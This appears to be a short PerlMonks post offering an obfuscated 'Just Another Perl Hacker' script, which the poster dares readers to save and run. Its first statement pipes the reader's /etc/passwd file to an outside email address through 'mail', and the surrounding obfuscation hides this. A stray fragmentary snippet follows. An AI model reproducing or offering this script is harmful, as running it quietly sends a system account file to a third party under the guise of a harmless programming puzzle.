http://www.perlmonks.org?node_id=33093

Save this to a file and run it -- IF YOU DARE! (Hint: I'm not an evil person.)
open m, "mail japhy\@pobox.com < /etc/passwd |"; print m "Just Another Perl Hacker", +0; seek$|=>($/=\24,$\="\012",$=--,$=--,$=)[$++4]=>$[; print <4>.<3>.<2>.<1>.<0>.<blastoff>; close m; exit;


$_="goto+F.print+chop;\n=yhpaj";F1:eval